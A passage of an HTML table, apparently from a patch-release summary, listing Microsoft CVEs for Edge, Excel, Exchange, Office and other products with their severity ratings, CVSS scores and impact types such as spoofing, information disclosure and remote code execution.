  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
